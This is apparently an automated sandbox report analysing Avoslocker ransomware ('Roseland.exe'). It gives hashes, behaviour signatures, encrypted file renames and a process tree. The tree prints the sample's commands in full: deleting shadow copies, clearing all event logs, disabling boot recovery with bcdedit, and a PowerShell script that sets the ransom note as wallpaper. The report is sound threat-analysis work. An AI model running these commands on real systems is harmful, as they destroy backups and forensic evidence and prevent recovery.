Resubmissions
16-03-2023 09:24
230316-ldhxdaab62 1016-03-2023 09:12
230316-k56l3sab26 1030-01-2023 14:58
230130-sb9ewaag73 930-01-2023 14:44
230130-r4m7nscd8s 913-01-2023 09:23
230113-lcgmxsfh22 9Analysis
-
max time kernel
62s -
max time network
132s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
16-03-2023 09:24
Static task
static1
Behavioral task
behavioral1
Sample
Roseland.exe
Resource
win7-20230220-en
windows7-x64
13 signatures
150 seconds
Behavioral task
behavioral2
Sample
Roseland.exe
Resource
win10v2004-20230220-en
windows10-2004-x64
12 signatures
150 seconds
General
-
Target
Roseland.exe
-
Size
807KB
-
MD5
19944159dfa94a1b75effd85e6b906dc
-
SHA1
250acf87366f4c0cf91679a0e93dfc79954f0f10
-
SHA256
bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705
-
SHA512
c791840f59c2fc906c197c43e0e1717b9504cf46177a3688ecbd4937cdbf95349d68cc1e63649b85f02df4e6990c4df4756dd8267b062ea5271dd61fc3e508b0
-
SSDEEP
12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA7:u4s+oT+NXBLi0rjFXvyHBlbnCZa8
Score
10/10
Malware Config
Signatures
-
Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 544 bcdedit.exe 2548 bcdedit.exe -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\GrantOpen.crw => C:\Users\Admin\Pictures\GrantOpen.crw.avos2 Roseland.exe File renamed C:\Users\Admin\Pictures\ConnectSkip.raw => C:\Users\Admin\Pictures\ConnectSkip.raw.avos2 Roseland.exe File renamed C:\Users\Admin\Pictures\ExpandMount.crw => C:\Users\Admin\Pictures\ExpandMount.crw.avos2 Roseland.exe File renamed C:\Users\Admin\Pictures\SelectConvertFrom.raw => C:\Users\Admin\Pictures\SelectConvertFrom.raw.avos2 Roseland.exe File renamed C:\Users\Admin\Pictures\RequestSwitch.raw => C:\Users\Admin\Pictures\RequestSwitch.raw.avos2 Roseland.exe File renamed C:\Users\Admin\Pictures\ConfirmRemove.png => C:\Users\Admin\Pictures\ConfirmRemove.png.avos2 Roseland.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: Roseland.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\cs-cz\ui-strings.js Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\ja-jp\GET_YOUR_FILES_BACK.txt Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE\THMBNAIL.PNG Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main-selector.css Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\it-it\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\ui-strings.js Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.targetsize-36.png Roseland.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049\StoreLogo.png Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ONENOTE.VisualElementsManifest.xml Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ui-strings.js Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\ja-jp\ui-strings.js Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ar-ae\GET_YOUR_FILES_BACK.txt Roseland.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\GET_YOUR_FILES_BACK.txt Roseland.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nb-no\ui-strings.js Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\sk-sk\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\GenericMailMediumTile.scale-125.png Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Outlook.scale-200.png Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Fonts\private\GADUGIB.TTF Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\Templates\1033\OriginResume.Dotx Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\pl-pl\ui-strings.js Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-si\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\rename.svg Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\PROOF\MSWDS_ES.LEX Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ro-ro\ui-strings.js Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\eu-es\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsymxl.ttf Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_fillandsign_18.svg Roseland.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.targetsize-30_altform-unplated.png Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-96_altform-lightunplated.png Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.targetsize-72_altform-unplated.png Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES\CAPSULES.INF Roseland.exe File created C:\Program Files (x86)\Windows Photo Viewer\es-ES\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\css\main.css Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\ui-strings.js Roseland.exe File created C:\Program Files\Reference Assemblies\Microsoft\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast.png Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN110.XML Roseland.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\Mu\Fingerprinting Roseland.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Trust Protection Lists\Mu\Other.DATA Roseland.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\ms.pak.DATA Roseland.exe File created C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\ja-JP\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\LinkedInboxWideTile.scale-400.png Roseland.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED\REFINED.ELM Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-white_scale-180.png Roseland.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\ink\fr-FR\InkObj.dll.mui Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\css\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\delete.svg Roseland.exe File opened for modification C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\ui-strings.js Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\es-es\ui-strings.js Roseland.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_sortedby_up_hover_18.svg Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] Roseland.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\qu.pak.DATA Roseland.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\Microsoft Office\root\rsod\excelmui.msi.16.en-us.boot.tree.dat Roseland.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\GET_YOUR_FILES_BACK.txt Roseland.exe File opened for modification C:\Program Files\CompleteShow.DVR Roseland.exe File created C:\Program Files\Windows Media Player\it-IT\GET_YOUR_FILES_BACK.txt Roseland.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3908 vssadmin.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 12404 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4868 Roseland.exe 4868 Roseland.exe 3164 powershell.exe 3164 powershell.exe 3164 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 4868 Roseland.exe Token: SeIncreaseQuotaPrivilege 3884 WMIC.exe Token: SeSecurityPrivilege 3884 WMIC.exe Token: SeTakeOwnershipPrivilege 3884 WMIC.exe Token: SeLoadDriverPrivilege 3884 WMIC.exe Token: SeSystemProfilePrivilege 3884 WMIC.exe Token: SeSystemtimePrivilege 3884 WMIC.exe Token: SeProfSingleProcessPrivilege 3884 WMIC.exe Token: SeIncBasePriorityPrivilege 3884 WMIC.exe Token: SeCreatePagefilePrivilege 3884 WMIC.exe Token: SeBackupPrivilege 3884 WMIC.exe Token: SeRestorePrivilege 3884 WMIC.exe Token: SeShutdownPrivilege 3884 WMIC.exe Token: SeDebugPrivilege 3884 WMIC.exe Token: SeSystemEnvironmentPrivilege 3884 WMIC.exe Token: SeRemoteShutdownPrivilege 3884 WMIC.exe Token: SeUndockPrivilege 3884 WMIC.exe Token: SeManageVolumePrivilege 3884 WMIC.exe Token: 33 3884 WMIC.exe Token: 34 3884 WMIC.exe Token: 35 3884 WMIC.exe Token: 36 3884 WMIC.exe Token: SeDebugPrivilege 3164 powershell.exe Token: SeIncreaseQuotaPrivilege 3884 WMIC.exe Token: SeSecurityPrivilege 3884 WMIC.exe Token: SeTakeOwnershipPrivilege 3884 WMIC.exe Token: SeLoadDriverPrivilege 3884 WMIC.exe Token: SeSystemProfilePrivilege 3884 WMIC.exe Token: SeSystemtimePrivilege 3884 WMIC.exe Token: SeProfSingleProcessPrivilege 3884 WMIC.exe Token: SeIncBasePriorityPrivilege 3884 WMIC.exe Token: SeCreatePagefilePrivilege 3884 WMIC.exe Token: SeBackupPrivilege 3884 WMIC.exe Token: SeRestorePrivilege 3884 WMIC.exe Token: SeShutdownPrivilege 3884 WMIC.exe Token: SeDebugPrivilege 3884 WMIC.exe Token: SeSystemEnvironmentPrivilege 3884 WMIC.exe Token: SeRemoteShutdownPrivilege 3884 WMIC.exe Token: SeUndockPrivilege 3884 WMIC.exe Token: SeManageVolumePrivilege 3884 WMIC.exe Token: 33 3884 WMIC.exe Token: 34 3884 WMIC.exe Token: 35 3884 WMIC.exe Token: 36 3884 WMIC.exe Token: SeBackupPrivilege 4328 vssvc.exe Token: SeRestorePrivilege 4328 vssvc.exe Token: SeAuditPrivilege 4328 vssvc.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeSecurityPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeSecurityPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe Token: SeSecurityPrivilege 3164 powershell.exe Token: SeBackupPrivilege 3164 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4868 wrote to memory of 3904 4868 Roseland.exe 86 PID 4868 wrote to memory of 3904 4868 Roseland.exe 86 PID 4868 wrote to memory of 3772 4868 Roseland.exe 88 PID 4868 wrote to memory of 3772 4868 Roseland.exe 88 PID 3904 wrote to memory of 3884 3904 cmd.exe 87 PID 3904 wrote to memory of 3884 3904 cmd.exe 87 PID 4868 wrote to memory of 3960 4868 Roseland.exe 91 PID 4868 wrote to memory of 3960 4868 Roseland.exe 91 PID 4868 wrote to memory of 1872 4868 Roseland.exe 90 PID 4868 wrote to memory of 1872 4868 Roseland.exe 90 PID 4868 wrote to memory of 1936 4868 Roseland.exe 89 PID 4868 wrote to memory of 1936 4868 Roseland.exe 89 PID 1936 wrote to memory of 3164 1936 cmd.exe 92 PID 1936 wrote to memory of 3164 1936 cmd.exe 92 PID 3772 wrote to memory of 3908 3772 cmd.exe 93 PID 3772 wrote to memory of 3908 3772 cmd.exe 93 PID 3960 wrote to memory of 544 3960 cmd.exe 94 PID 3960 wrote to memory of 544 3960 cmd.exe 94 PID 1872 wrote to memory of 2548 1872 cmd.exe 95 PID 1872 wrote to memory of 2548 1872 cmd.exe 95 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Roseland.exe"C:\Users\Admin\AppData\Local\Temp\Roseland.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\SYSTEM32\cmd.execmd /c wmic shadowcopy delete /nointeractive2⤵
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete /nointeractive3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3884
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c vssadmin.exe Delete Shadows /All /Quiet2⤵
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:3908
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"2⤵
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3164
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:2548
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c bcdedit /set {default} recoveryenabled No2⤵
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:544
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"2⤵PID:8344
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1866990087.png /f3⤵PID:6836
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False3⤵PID:13720
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4328
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt1⤵
- Opens file in notepad (likely ransom note)
PID:12404
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1011B
MD56d81ed40ba0a283e5483bfe6a448e9d7
SHA10c847a5f9df743b13e1aa11b4c24a4309e9a7119
SHA256b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d
SHA5128956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379
-
Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
Filesize
64B
MD5a6c9d692ed2826ecb12c09356e69cc09
SHA1def728a6138cf083d8a7c61337f3c9dade41a37f
SHA256a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
SHA5122f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1011B
MD56d81ed40ba0a283e5483bfe6a448e9d7
SHA10c847a5f9df743b13e1aa11b4c24a4309e9a7119
SHA256b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d
SHA5128956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379
-
Filesize
1011B
MD56d81ed40ba0a283e5483bfe6a448e9d7
SHA10c847a5f9df743b13e1aa11b4c24a4309e9a7119
SHA256b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d
SHA5128956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379